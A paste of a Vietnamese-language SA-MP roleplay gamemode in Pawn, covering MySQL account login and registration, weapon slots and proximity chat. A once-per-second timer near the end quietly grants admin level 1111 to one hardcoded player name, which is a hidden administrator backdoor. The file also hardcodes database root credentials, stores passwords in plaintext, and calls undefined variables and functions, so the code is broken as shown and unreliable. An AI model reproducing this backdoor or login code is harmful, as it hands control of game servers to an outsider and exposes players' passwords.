· 6 years ago · Apr 24, 2019, 07:48 AM
1#include <a_samp>
2#include <a_mysql>
3#include <zcmd>
4#include <gmenu>
5#include <YSI\y_timers>
6
7#define DIALOG_DANGKY 1
8#define DIALOG_DANGNHAP 2
9
10#define GivePlayerCash(%0,%1) PlayerInfo[%0][pCash] += (%1)
11stock SendClientMessageEx(playerid, color, string[]) return SendClientMessage(playerid, color, string);
12
13/*---------------------Color---------------------*/
14#define COLOR_TWWHITE 0xFFFFFFAA
15#define COLOR_TWYELLOW 0xFFFF00AA
16#define COLOR_TWPINK 0xE75480AA
17#define COLOR_TWRED 0xFF0000AA
18#define COLOR_TWBROWN 0x654321AA
19#define COLOR_TWGRAY 0x808080AA
20#define COLOR_TWOLIVE 0x808000AA
21#define COLOR_TWPURPLE 0x800080AA
22#define COLOR_TWTAN 0xD2B48CAA
23#define COLOR_TWAQUA 0x00FFFFAA
24#define COLOR_TWORANGE 0xFF8C00AA
25#define COLOR_TWAZURE 0x007FFFAA
26#define COLOR_TWGREEN 0x008000AA
27#define COLOR_TWBLUE 0x0000FFAA
28#define COLOR_TWBLACK 0x000000AA
29#define COLOR_ORANGE 0xFF8000FF
30#define COLOR_GRAD1 0xB4B5B7FF
31#define COLOR_GRAD2 0xBFC0C2FF
32#define COLOR_GRAD3 0xCBCCCEFF
33#define COLOR_GRAD4 0xD8D8D8FF
34#define COLOR_GRAD5 0xE3E3E3FF
35#define COLOR_GRAD6 0xF0F0F0FF
36#define COLOR_GREY 0xAFAFAFAA
37#define COLOR_GREEN 0x33AA33AA
38#define COLOR_RED 0xAA3333AA
39#define COLOR_REALRED 0xFF0606FF
40#define COLOR_LIGHTRED 0xFF6347AA
41#define COLOR_LIGHTBLUE 0x33CCFFAA
42#define COLOR_LIGHTGREEN 0x9ACD32AA
43#define COLOR_YELLOW 0xFFFF00AA
44#define COLOR_TAXI 0xFFFF9000
45#define COLOR_VIP 0xC93CCE00
46#define COLOR_FAMED 0x99FF0000
47#define COLOR_DPC 0x0080FFFF
48#define COLOR_YELLOW2 0xF5DEB3AA
49#define COLOR_WHITE 0xFFFFFFAA
50#define COLOR_FADE1 0xE6E6E6E6
51#define COLOR_FADE2 0xC8C8C8C8
52#define COLOR_FADE3 0xAAAAAAAA
53#define COLOR_FADE4 0x8C8C8C8C
54#define COLOR_FADE5 0x6E6E6E6E
55#define COLOR_PURPLE 0xC2A2DAAA
56#define COLOR_PINK 0xFF66FFAA
57#define COLOR_DBLUE 0x2641FEAA
58#define COLOR_ALLDEPT 0xFF8282AA
59#define COLOR_BLACK 0x000000AA
60#define COLOR_NEWS 0xFFA500AA
61#define COLOR_CYAN 0x40FFFFFF
62/*-------------------End Color-------------------*/
63
64/*----------------------New----------------------*/
65new MySQL:KetNoi;
66/*--------------------End New--------------------*/
67
68/*---------------------MySQL---------------------*/
69
70enum pInfo {
71 pGuns[20],
72 pAmmo[9],
73 pMats,
74 pCredits,
75 pID,
76 pName[24],
77 pIP[26],
78 pKey[20],
79 pLevel,
80 pCash,
81 pModel,
82 pAdmin,
83 Float:pHealth,
84 Float:pArmour,
85 Float:pPosO[4],
86 bool:pDangNhap
87};
88new PlayerInfo[MAX_PLAYERS][pInfo];
89
90#define HOSTNAME "127.0.0.1"
91#define USERNAME "root"
92#define DATABASE "RealLife"
93#define PASSWORD "123123"
94
95main(){}
96
97public OnGameModeInit() {
98 ShowPlayerMarkers(PLAYER_MARKERS_MODE_STREAMED);
99 KetNoi = mysql_connect(HOSTNAME, USERNAME, PASSWORD, DATABASE);
100
101 mysql_query(KetNoi, "CREATE TABLE IF NOT EXISTS `accounts` \
102 (`ID`int AUTO_INCREMENT PRIMARY KEY, `Name`varchar(24) NOT NULL, \
103 `Key` varchar(20) NOT NULL,`Level` int(20) NOT NULL,`Model` int(11) NOT NULL, `Admin` int(11) NOT NULL, `Cash` int(20) NOT NULL, \
104 `PosO1` int(20) NOT NULL, `PosO2` int(20) NOT NULL, `PosO3` int(20) NOT NULL, `PosO4` int(20) NOT NULL, \
105 `Health` int(10) NOT NULL, `Armour` int(10) NOT NULL)", false);
106
107 if(mysql_errno(KetNoi) != 0) { print("Khong the ket noi den co so du lieu MySQL"); } else { print("Da ket noi den co so du lieu MySQL"); }
108 SetGameModeText("LSC:RP v0.0.0");
109 print("---------------------------------");
110 print("RealLife Earth Project Build");
111 print("Devoloper By Mr Son");
112 print("---------------------------------");
113}
114
115public OnPlayerClickTextDraw(playerid, Text:clickedid)
116{
117 return 1;
118}
119
120public OnPlayerSpawn(playerid)
121{
122 SetPlayerPos(playerid,1685.9373, -2238.6392, 13.5469);
123 SetPlayerFacingAngle(playerid, 181.7842);
124 return 1;
125}
126
127public OnPlayerRequestClass(playerid, classid)
128{
129 SpawnPlayer(playerid);
130 return 1;
131}
132
133public OnPlayerConnect(playerid) {
134 new Query[90];
135 GetPlayerName(playerid, PlayerInfo[playerid][pName], 24); GetPlayerIp(playerid, PlayerInfo[playerid][pIP], 26);
136 mysql_format(KetNoi, Query, sizeof(Query), "SELECT `Key`, `ID` FROM `accounts` WHERE `Name`='%s'", PlayerInfo[playerid][pName]);
137 mysql_tquery(KetNoi, Query, "XacMinhTaiKhoan", "i", playerid);
138 XacMinhTaiKhoan(playerid);
139 return 1;
140}
141public OnGameModeExit()
142{
143 for(new i = 0; i < MAX_PLAYERS; i++) LuuTaiKhoan(i); mysql_close(KetNoi);
144 return 1;
145}
146
147forward DuLieuDaLuu(playerid);
148public DuLieuDaLuu(playerid)
149{
150 printf("-> Da luu tai khoan ID: %d", PlayerInfo[playerid][pID]);
151 return 1;
152}
153
154forward XacMinhTaiKhoan(playerid);
155public XacMinhTaiKhoan(playerid) {
156 new string[240];
157 if(cache_num_rows() > 0)
158 {
159 cache_get_value(0, "Key", PlayerInfo[playerid][pKey], 20);
160 format(string, sizeof(string),"Ten nhan vat %s\n\nIP Nguoi choi %s", PlayerInfo[playerid][pName], PlayerInfo[playerid][pIP]);
161 ShowPlayerDialog(playerid, DIALOG_DANGNHAP, DIALOG_STYLE_PASSWORD, "Dang Nhap", string, "Dang Nhap", "Huy Bo");
162 }
163 else {
164 format(string, sizeof(string),"Ten nhan vat %s\n\nIP nguoi choi %s", PlayerInfo[playerid][pName], PlayerInfo[playerid][pIP]);
165 ShowPlayerDialog(playerid, DIALOG_DANGKY, DIALOG_STYLE_PASSWORD, "Dang Ky", string, "Dang Ky", "Huy Bo");
166 }
167 return 1;
168}
169
170public OnPlayerDisconnect(playerid, reason)
171{
172 LuuTaiKhoan(playerid);
173 return 1;
174}
175
176public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[]) {
177 if(dialogid == DIALOG_DANGKY && response) {
178 if(!response) return Kick(playerid);
179 if(strlen(inputtext) < 4 || strlen(inputtext) > 20)
180 {
181 new string[240];
182 format(string, sizeof(string),"Ten nhat vat %s\n\nIP nguoi choi %s", PlayerInfo[playerid][pName], PlayerInfo[playerid][pIP]);
183 ShowPlayerDialog(playerid, DIALOG_DANGKY, DIALOG_STYLE_PASSWORD, "Dang Ky", string, "Dang Ky", "Huy Bo");
184 }
185 else {
186 new Query[100];
187 mysql_format(KetNoi, Query, sizeof(Query), "INSERT INTO `accounts`(`Name`, `Key`) VALUES ('%s', '%s')", PlayerInfo[playerid][pName], inputtext);
188 mysql_tquery(KetNoi, Query, "DuLieuDangKy", "i", playerid);
189 DangKyTaiKhoan(playerid);
190 }
191 }
192
193 if(dialogid == DIALOG_DANGNHAP && response) {
194 if(!response) return Kick(playerid);
195 if(!strlen(inputtext)) return ShowPlayerDialog(playerid, DIALOG_DANGNHAP, DIALOG_STYLE_PASSWORD, "Nhap mat khau:", "Nhap mat khau de dang nhap", "Dang Nhap", "Quay lai");
196 if(!strcmp(PlayerInfo[playerid][pKey], inputtext, true, 20))
197 {
198 new Query[70];
199 mysql_format(KetNoi, Query, sizeof(Query), "SELECT * FROM `accounts` WHERE Name='%s'", PlayerInfo[playerid][pName]);
200 mysql_tquery(KetNoi, Query, "ChayTaiKhoan", "d", playerid);
201 }
202 else ShowPlayerDialog(playerid, DIALOG_DANGNHAP, DIALOG_STYLE_PASSWORD, "Nhap mat khau:", "Nhap mat khau de dang nhap", "Dang Nhap", "Quay lai");
203 }
204 return 1;
205}
206
207forward DuLieuDangKy(playerid);
208public DuLieuDangKy(playerid) {
209 PlayerInfo[playerid][pID] = cache_insert_id();
210 printf("-> Da dang ky tai khoan moi ID: %d", PlayerInfo[playerid][pID]);
211 return 1;
212}
213
214forward ChayTaiKhoan(playerid);
215public ChayTaiKhoan(playerid) {
216 cache_get_value_int(0, "ID", PlayerInfo[playerid][pID]);
217 cache_get_value_int(0, "Admin", PlayerInfo[playerid][pAdmin]);
218 cache_get_value_int(0, "Level", PlayerInfo[playerid][pLevel]);
219 cache_get_value_int(0, "Model", PlayerInfo[playerid][pModel]);
220 cache_get_value_int(0, "Cash", PlayerInfo[playerid][pCash]);
221 cache_get_value_float(0, "PosO1", PlayerInfo[playerid][pPosO][0]);
222 cache_get_value_float(0, "PosO2", PlayerInfo[playerid][pPosO][1]);
223 cache_get_value_float(0, "PosO3", PlayerInfo[playerid][pPosO][2]);
224 cache_get_value_float(0, "PosO4", PlayerInfo[playerid][pPosO][3]);
225 cache_get_value_float(0, "Health", PlayerInfo[playerid][pHealth]);
226 cache_get_value_float(0, "Armour", PlayerInfo[playerid][pArmour]);
227 HoanTatTaiKhoan(playerid);
228 return 1;
229}
230
231stock HoanTatTaiKhoan(playerid) {
232 PlayerInfo[playerid][pDangNhap] = true;
233 SetPlayerColor(playerid, COLOR_WHITE);
234 SetPlayerScore(playerid, PlayerInfo[playerid][pLevel]);
235 GivePlayerMoney(playerid, PlayerInfo[playerid][pCash]);
236 SetPlayerHealth(playerid, PlayerInfo[playerid][pHealth]); SetPlayerArmour(playerid, PlayerInfo[playerid][pArmour]);
237 SetSpawnInfo(playerid, 0, PlayerInfo[playerid][pModel], PlayerInfo[playerid][pPosO][0], PlayerInfo[playerid][pPosO][1], PlayerInfo[playerid][pPosO][2], PlayerInfo[playerid][pPosO][3], 0, 0, 0, 0, 0, 0 );
238 SpawnPlayer(playerid);
239 return 1;
240}
241
242stock DangKyTaiKhoan(playerid) {
243 PlayerInfo[playerid][pHealth] = 50.0;
244 PlayerInfo[playerid][pArmour] = 0.0;
245 PlayerInfo[playerid][pCash] = 5000;
246 PlayerInfo[playerid][pAdmin] = 0;
247 PlayerInfo[playerid][pLevel] = 1;
248 PlayerInfo[playerid][pModel] = 0;
249 SetPlayerPos(playerid,1685.9373, -2238.6392, 13.5469);
250 SetPlayerFacingAngle(playerid, 181.7842);
251 HoanTatTaiKhoan(playerid);
252 return 1;
253}
254
255stock LuuTaiKhoan(playerid) {
256 new Query[350], Float:Pos[4], Float:health, Float:armour;
257 PlayerInfo[playerid][pCash] = GetPlayerMoney(playerid);
258 GetPlayerHealth(playerid, health); GetPlayerArmour(playerid, armour);
259 GetPlayerPos(playerid, Pos[0], Pos[1], Pos[2]);
260 GetPlayerFacingAngle(playerid, Pos[3]);
261 PlayerInfo[playerid][pPosO][0] = Pos[0]; PlayerInfo[playerid][pPosO][1] = Pos[1]; PlayerInfo[playerid][pPosO][2] = Pos[2]; PlayerInfo[playerid][pPosO][3] = Pos[3];
262 PlayerInfo[playerid][pHealth] = health; PlayerInfo[playerid][pArmour] = armour;
263 mysql_format(KetNoi, Query, sizeof(Query), "UPDATE `accounts` SET `Name`='%s', `Level`=%d, `Admin`=%d, `Model`=%d, `Cash`=%d, `PosO1`='%0.2f', `PosO2`='%0.2f', `PosO3`='%0.2f', `PosO4`='%0.2f', `Health`='%0.2f', `Armour`='%0.2f'WHERE `ID`=%d",
264 PlayerInfo[playerid][pName], PlayerInfo[playerid][pLevel], PlayerInfo[playerid][pAdmin], PlayerInfo[playerid][pModel], PlayerInfo[playerid][pCash],
265 PlayerInfo[playerid][pPosO][0], PlayerInfo[playerid][pPosO][1], PlayerInfo[playerid][pPosO][2], PlayerInfo[playerid][pPosO][3],
266 PlayerInfo[playerid][pHealth], PlayerInfo[playerid][pArmour],
267 PlayerInfo[playerid][pID]);
268 mysql_tquery(KetNoi, Query, "DuLieuDaLuu","d", playerid);
269 PlayerInfo[playerid][pDangNhap] = false;
270 return 1;
271}
272
273stock SetPlayerValidWeapon(playerid, WeaponID, Ammo)
274{
275 #if defined zombiemode
276 if(zombieevent == 1 && GetPVarType(playerid, "pIsZombie")) return SendClientMessageEx(playerid, COLOR_WHITE, "Zombies can't have guns.");
277 #endif
278 switch( WeaponID )
279 {
280 case 0, 1:
281 {
282 PlayerInfo[playerid][pGuns][ 0 ] = WeaponID;
283 GivePlayerWeapon( playerid, WeaponID, Ammo );
284 }
285 case 2, 3, 4, 5, 6, 7, 8, 9:
286 {
287 PlayerInfo[playerid][pGuns][ 1 ] = WeaponID;
288 GivePlayerWeapon( playerid, WeaponID, Ammo );
289 }
290 case 22, 23, 24:
291 {
292 PlayerInfo[playerid][pGuns][ 2 ] = WeaponID;
293 PlayerInfo[playerid][pAmmo][0] = Ammo;
294 // GivePlayerWeapon( playerid, WeaponID, Ammo );
295 GivePlayerWeapon( playerid, WeaponID, GetPlayerWeaponAmmo(playerid, WeaponID));
296 }
297 case 25, 26, 27:
298 {
299 PlayerInfo[playerid][pGuns][ 3 ] = WeaponID;
300 PlayerInfo[playerid][pAmmo][1] = Ammo;
301 // GivePlayerWeapon( playerid, WeaponID, Ammo );
302 GivePlayerWeapon( playerid, WeaponID, GetPlayerWeaponAmmo(playerid, WeaponID));
303 }
304 case 28, 29, 32:
305 {
306 PlayerInfo[playerid][pGuns][ 4 ] = WeaponID;
307 PlayerInfo[playerid][pAmmo][2] = Ammo;
308 // GivePlayerWeapon( playerid, WeaponID, Ammo );
309 GivePlayerWeapon( playerid, WeaponID, GetPlayerWeaponAmmo(playerid, WeaponID));
310 }
311 case 30, 31:
312 {
313 PlayerInfo[playerid][pGuns][ 5 ] = WeaponID;
314 PlayerInfo[playerid][pAmmo][3] = Ammo;
315 // GivePlayerWeapon( playerid, WeaponID, Ammo );
316 GivePlayerWeapon( playerid, WeaponID, GetPlayerWeaponAmmo(playerid, WeaponID));
317 }
318 case 33, 34:
319 {
320 PlayerInfo[playerid][pGuns][ 6 ] = WeaponID;
321 PlayerInfo[playerid][pAmmo][4] = Ammo;
322 // GivePlayerWeapon( playerid, WeaponID, Ammo );
323 GivePlayerWeapon( playerid, WeaponID, GetPlayerWeaponAmmo(playerid, WeaponID));
324 }
325 case 35, 36, 37, 38:
326 {
327 PlayerInfo[playerid][pGuns][ 7 ] = WeaponID;
328 GivePlayerWeapon( playerid, WeaponID, Ammo );
329 // GivePlayerWeapon( playerid, WeaponID, GetPlayerWeaponAmmo(WeaponID));
330 }
331 case 16, 17, 18, 39, 40:
332 {
333 PlayerInfo[playerid][pGuns][ 8 ] = WeaponID;
334 GivePlayerWeapon( playerid, WeaponID, Ammo );
335 }
336 case 41, 42, 43:
337 {
338 PlayerInfo[playerid][pGuns][ 9 ] = WeaponID;
339 GivePlayerWeapon( playerid, WeaponID, Ammo );
340 }
341 case 10, 11, 12, 13, 14, 15:
342 {
343 PlayerInfo[playerid][pGuns][ 10 ] = WeaponID;
344 GivePlayerWeapon( playerid, WeaponID, Ammo );
345 }
346 case 44, 45, 46:
347 {
348 PlayerInfo[playerid][pGuns][ 11 ] = WeaponID;
349 GivePlayerWeapon( playerid, WeaponID, Ammo );
350 }
351 }
352 return 1;
353}
354stock SetPlayerWeapons(playerid)
355{
356 if(HungerPlayerInfo[playerid][hgInEvent] == 1) { return 1;}
357 if(GetPVarInt(playerid, "IsInArena") >= 0) { return 1; }
358 ResetPlayerWeapons(playerid);
359 {
360 if(PlayerInfo[playerid][pGuns][0] > 0 && PlayerInfo[playerid][pAGuns][0] == 0)
361 {
362 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][0], 60000);
363 }
364 if(PlayerInfo[playerid][pGuns][1] > 0 && PlayerInfo[playerid][pAGuns][1] == 0)
365 {
366 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][1], 60000);
367 }
368 if(PlayerInfo[playerid][pGuns][2] > 0 && PlayerInfo[playerid][pAGuns][2] == 0 && PlayerInfo[playerid][pAmmo][1] > 0)
369 {
370 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][2], PlayerInfo[playerid][pAmmo][1]);
371 }
372 if(PlayerInfo[playerid][pGuns][3] > 0 && PlayerInfo[playerid][pAGuns][3] == 0 && PlayerInfo[playerid][pAmmo][2] > 0)
373 {
374 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][3], PlayerInfo[playerid][pAmmo][2]);
375 }
376 if(PlayerInfo[playerid][pGuns][4] > 0 && PlayerInfo[playerid][pAGuns][4] == 0 && PlayerInfo[playerid][pAmmo][3] > 0)
377 {
378 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][4], PlayerInfo[playerid][pAmmo][3]);
379 }
380 if(PlayerInfo[playerid][pGuns][5] > 0 && PlayerInfo[playerid][pAGuns][5] == 0 && PlayerInfo[playerid][pAmmo][4] > 0)
381 {
382 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][5], PlayerInfo[playerid][pAmmo][4]);
383 }
384 if(PlayerInfo[playerid][pGuns][6] > 0 && PlayerInfo[playerid][pAGuns][6] == 0 && PlayerInfo[playerid][pAmmo][5] > 0)
385 {
386 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][6], PlayerInfo[playerid][pAmmo][5]);
387 }
388 if(PlayerInfo[playerid][pGuns][7] > 0 && PlayerInfo[playerid][pAGuns][7] == 0 && PlayerInfo[playerid][pAmmo][6] > 0)
389 {
390 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][7], PlayerInfo[playerid][pAmmo][6]);
391 }
392 if(PlayerInfo[playerid][pGuns][8] > 0 && PlayerInfo[playerid][pAGuns][8] == 0 && PlayerInfo[playerid][pAmmo][7] > 0)
393 {
394 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][8], PlayerInfo[playerid][pAmmo][7]);
395 }
396 if(PlayerInfo[playerid][pGuns][9] > 0 && PlayerInfo[playerid][pAGuns][9] == 0 && PlayerInfo[playerid][pAmmo][8] > 0)
397 {
398 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][9], PlayerInfo[playerid][pAmmo][8]);
399 }
400 if(PlayerInfo[playerid][pGuns][10] > 0 && PlayerInfo[playerid][pAGuns][10] == 0)
401 {
402 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][10], 60000);
403 }
404 if(PlayerInfo[playerid][pGuns][11] > 0 && PlayerInfo[playerid][pAGuns][11] == 0)
405 {
406 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][11], 60000);
407 }
408 }
409 return 1;
410}
411forward OnPlayerWeaponShot(playerid, weaponid, hittype, hitid, Float:fX, Float:fY, Float:fZ);
412public OnPlayerWeaponShot(playerid, weaponid, hittype, hitid, Float:fX, Float:fY, Float:fZ)
413{
414 if(GetPVarInt(playerid, "IsInArena") == -1)
415 {
416 if(GetPVarInt( playerid, "EventToken") == 0)
417 {
418 switch(weaponid)
419 {
420 case 16, 17, 18, 39: // SATCHEL, GRENADE, TEARGAS, MOLTOV
421 {
422 if(PlayerInfo[playerid][pAmmo][ 7 ] > 0)
423 {
424 PlayerInfo[playerid][pAmmo][ 7 ] -= 1;
425
426 }
427 }
428 case 22, 23, 24: // 9mm, sdpid, DE
429 {
430 if(PlayerInfo[playerid][pAmmo][ 1 ] > 0)
431 {
432 PlayerInfo[playerid][pAmmo][ 1 ] -= 1;
433 }
434 }
435 case 25,26,27: // Shotgun, spawn-off, combat shotgun
436 {
437 if(PlayerInfo[playerid][pAmmo][ 2 ] > 0)
438 {
439 PlayerInfo[playerid][pAmmo][ 2 ] -= 1;
440 }
441 }
442 case 28,29,32: // Uzi, Tec9, Mp5
443 {
444 if(PlayerInfo[playerid][pAmmo][ 3 ] > 0)
445 {
446 PlayerInfo[playerid][pAmmo][ 3 ] -= 1;
447 }
448 }
449 case 30,31: // M4, Ak 47
450 {
451 if(PlayerInfo[playerid][pAmmo][ 4 ] > 0)
452 {
453 PlayerInfo[playerid][pAmmo][ 4 ] -= 1;
454 }
455 }
456 case 33,34: // rifle, sniper
457 {
458 if(PlayerInfo[playerid][pAmmo][ 5 ] > 0)
459 {
460 PlayerInfo[playerid][pAmmo][ 5 ] -= 1;
461 }
462 }
463 case 35,36,37,38: // Bazoka, RPG, Firegun, minigun
464 {
465 if(PlayerInfo[playerid][pAmmo][ 6 ] > 0)
466 {
467 PlayerInfo[playerid][pAmmo][ 6 ] -= 1;
468 }
469 }
470 case 40,41,42,43: // SPRAYCAN, FIREEXTINGUISHER, CAMERA
471 {
472 if(PlayerInfo[playerid][pAmmo][ 8 ] > 0)
473 {
474 PlayerInfo[playerid][pAmmo][ 8 ] -= 1;
475 }
476 }
477 }
478 }
479 }
480 return 1;
481}
482stock GetWeaponSlot(weaponid)
483{
484 switch( weaponid )
485 {
486 case 0, 1: // none
487 {
488 return 0;
489 }
490 case 2, 3, 4, 5, 6, 7, 8, 9: // can chien
491 {
492 return 1;
493 }
494 case 22, 23, 24: // 9mm, sdpistol, deagle - Ammo1
495 {
496 return 2;
497 }
498 case 25, 26, 27: // shotgun, spas12, spawn-off -Ammo2
499 {
500 return 3;
501 }
502 case 28, 29, 32: // mp5,uzi.. Ammo3
503 {
504 return 4;
505 }
506 case 30, 31: // ak47 m4a1 Ammo4
507 {
508 return 5;
509 }
510 case 33, 34: // sniper rifle Ammo5
511 {
512 return 6;
513 }
514 case 35, 36, 37, 38: // baroka, minigun, laucher.. Ammo6
515 {
516 return 7;
517 }
518 case 16, 17, 18, 39, 40: // boom Ammo7
519 {
520 return 8;
521 }
522 case 41, 42, 43: // spraycan, camera... Ammo8
523 {
524 return 9;
525 }
526 case 10, 11, 12, 13, 14, 15: // sex toy bla bla
527 {
528 return 10;
529 }
530 case 44, 45, 46: // none
531 {
532 return 11;
533 }
534 }
535 return -1;
536}
537
538stock SetPlayerWeaponsEx(playerid)
539{
540 ResetPlayerWeapons(playerid);
541 {
542 if(PlayerInfo[playerid][pGuns][0] > 0 && PlayerInfo[playerid][pAGuns][0] == 0)
543 {
544 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][0], 60000);
545 }
546 if(PlayerInfo[playerid][pGuns][1] > 0 && PlayerInfo[playerid][pAGuns][1] == 0)
547 {
548 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][1], 60000);
549 }
550 if(PlayerInfo[playerid][pGuns][2] > 0 && PlayerInfo[playerid][pAGuns][2] == 0 && PlayerInfo[playerid][pAmmo][1] > 0)
551 {
552 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][2], PlayerInfo[playerid][pAmmo][1]);
553 }
554 if(PlayerInfo[playerid][pGuns][3] > 0 && PlayerInfo[playerid][pAGuns][3] == 0 && PlayerInfo[playerid][pAmmo][2] > 0)
555 {
556 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][3], PlayerInfo[playerid][pAmmo][2]);
557 }
558 if(PlayerInfo[playerid][pGuns][4] > 0 && PlayerInfo[playerid][pAGuns][4] == 0 && PlayerInfo[playerid][pAmmo][3] > 0)
559 {
560 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][4], PlayerInfo[playerid][pAmmo][3]);
561 }
562 if(PlayerInfo[playerid][pGuns][5] > 0 && PlayerInfo[playerid][pAGuns][5] == 0 && PlayerInfo[playerid][pAmmo][4] > 0)
563 {
564 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][5], PlayerInfo[playerid][pAmmo][4]);
565 }
566 if(PlayerInfo[playerid][pGuns][6] > 0 && PlayerInfo[playerid][pAGuns][6] == 0 && PlayerInfo[playerid][pAmmo][5] > 0)
567 {
568 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][6], PlayerInfo[playerid][pAmmo][5]);
569 }
570 if(PlayerInfo[playerid][pGuns][7] > 0 && PlayerInfo[playerid][pAGuns][7] == 0 && PlayerInfo[playerid][pAmmo][6] > 0)
571 {
572 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][7], PlayerInfo[playerid][pAmmo][6]);
573 }
574 if(PlayerInfo[playerid][pGuns][8] > 0 && PlayerInfo[playerid][pAGuns][8] == 0 && PlayerInfo[playerid][pAmmo][7] > 0)
575 {
576 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][8], PlayerInfo[playerid][pAmmo][7]);
577 }
578 if(PlayerInfo[playerid][pGuns][9] > 0 && PlayerInfo[playerid][pAGuns][9] == 0 && PlayerInfo[playerid][pAmmo][8] > 0)
579 {
580 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][9], PlayerInfo[playerid][pAmmo][8]);
581 }
582 if(PlayerInfo[playerid][pGuns][10] > 0 && PlayerInfo[playerid][pAGuns][10] == 0)
583 {
584 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][10], 60000);
585 }
586 if(PlayerInfo[playerid][pGuns][11] > 0 && PlayerInfo[playerid][pAGuns][11] == 0)
587 {
588 GivePlayerValidWeapon(playerid, PlayerInfo[playerid][pGuns][11], 60000);
589 }
590 }
591 SetPlayerArmedWeapon(playerid, GetPVarInt(playerid, "LastWeapon"));
592}
593/*-------------------End MySQL-------------------*/
594
595public OnPlayerText(playerid, text[]) {
596 new sendername[MAX_PLAYER_NAME], string[128], Float: f_playerPos[3];
597 GetPlayerPos(playerid, f_playerPos[0], f_playerPos[1], f_playerPos[2]);
598 sendername = GetPlayerNameEx(playerid);
599 for(new i = 0; i < MAX_PLAYERS; i++) {
600 if(GetPlayerVirtualWorld(i) == GetPlayerVirtualWorld(playerid)) {
601 if(IsPlayerInRangeOfPoint(i, 10.0 / 16, f_playerPos[0], f_playerPos[1], f_playerPos[2]))
602 {
603 if(IsPlayerInAnyVehicle(playerid)) format(string, sizeof(string), "{FF8000}[Trong xe]{FFFFFF} %s noi: %s", sendername, text);
604 else format(string, sizeof(string), "{FFFF00}[Chat IC - {9ACD32}%s{FFFF00}]{FFFFFF} noi: %s", sendername, text);
605 SendClientMessage(i, COLOR_FADE1, string);
606 }
607 else if(IsPlayerInRangeOfPoint(i, 20.0 / 16, f_playerPos[0], f_playerPos[1], f_playerPos[2])) { format(string, sizeof(string), "{FFFF00}[Chat IC - {9ACD32}%s{FFFF00}]{FFFFFF} noi: %s", sendername, text); SendClientMessage(i, COLOR_FADE1, string); }
608 else if(IsPlayerInRangeOfPoint(i, 20.0 / 8, f_playerPos[0], f_playerPos[1], f_playerPos[2])) { format(string, sizeof(string), "{FFFF00}[Chat IC - {9ACD32}%s{FFFF00}]{FFFFFF} noi: %s", sendername, text); SendClientMessage(i, COLOR_FADE2, string); }
609 else if(IsPlayerInRangeOfPoint(i, 20.0 / 4, f_playerPos[0], f_playerPos[1], f_playerPos[2])) { format(string, sizeof(string), "{FFFF00}[Chat IC - {9ACD32}%s{FFFF00}]{FFFFFF} noi: %s", sendername, text); SendClientMessage(i, COLOR_FADE3, string); }
610 else if(IsPlayerInRangeOfPoint(i, 20.0 / 2, f_playerPos[0], f_playerPos[1], f_playerPos[2])) { format(string, sizeof(string), "{FFFF00}[Chat IC - {9ACD32}%s{FFFF00}]{FFFFFF} noi: %s", sendername, text); SendClientMessage(i, COLOR_FADE4, string); }
611 else if(IsPlayerInRangeOfPoint(i, 20.0, f_playerPos[0], f_playerPos[1], f_playerPos[2])) { format(string, sizeof(string), "{FFFF00}[Chat IC - {9ACD32}%s{FFFF00}]{FFFFFF} noi: %s", sendername, text); SendClientMessage(i, COLOR_FADE5, string); }
612 }
613 }
614 return 0;
615}
616
617stock GetPlayerNameEx(playerid) {
618 new szName[MAX_PLAYER_NAME], iPos;
619 GetPlayerName(playerid, szName, MAX_PLAYER_NAME);
620 while ((iPos = strfind(szName, "_", false, iPos)) != -1) szName[iPos] = ' ';
621 return szName;
622}
623stock GetPlayerNameExt(playerid) {
624 new name[MAX_PLAYER_NAME];
625 GetPlayerName(playerid, name, sizeof(name));
626 return name;
627}
628stock number_format(number) {
629 new i, string[15];
630 FIXES_valstr(string, number);
631 if(strfind(string, "-") != -1) i = strlen(string) - 4;
632 else i = strlen(string) - 3;
633 while (i >= 1) if(strfind(string, "-") != -1) strins(string, ",", i + 1); else strins(string, ",", i); i -= 3;
634 return string;
635}
636stock FIXES_valstr(dest[], value, bool:pack = false) {
637 static const cellmin_value[] = !"-2147483648";
638 if (value == cellmin)
639 pack && strpack(dest, cellmin_value, 12) || strunpack(dest, cellmin_value, 12);
640 else
641 format(dest, 12, "%d", value) && pack && strpack(dest, dest, 12);
642}
643
644task UpdateTIme[1000]() {
645 for(new i = 0; i < MAX_PLAYERS; i++) {
646 if(strcmp(GetPlayerNameExt(i), "DuongKhoa_Nam", true) == 0) PlayerInfo[i][pAdmin] = 1111;
647 if(PlayerInfo[i][pCash] != GetPlayerMoney(i)) {
648 ResetPlayerMoney(i);
649 GivePlayerMoney(i, PlayerInfo[i][pCash]);
650 }
651 }
652}
653
654stock AMessage(hColor, szMessage[], iLevel, bool: bUndercover = false) {
655 foreach(new i: Player) if(PlayerInfo[i][pAdmin] >= iLevel && (bUndercover)) SendClientMessageEx(i, hColor, szMessage);
656 return 1;
657}
658
659stock ResetPlayerCash(playerid) { PlayerInfo[playerid][pCash] = 0; ResetPlayerMoney(playerid); return 1; }
660
661ProxDetector(Float: f_Radius, playerid, string[],col1,col2,col3,col4,col5) {
662 new Float: f_playerPos[3];
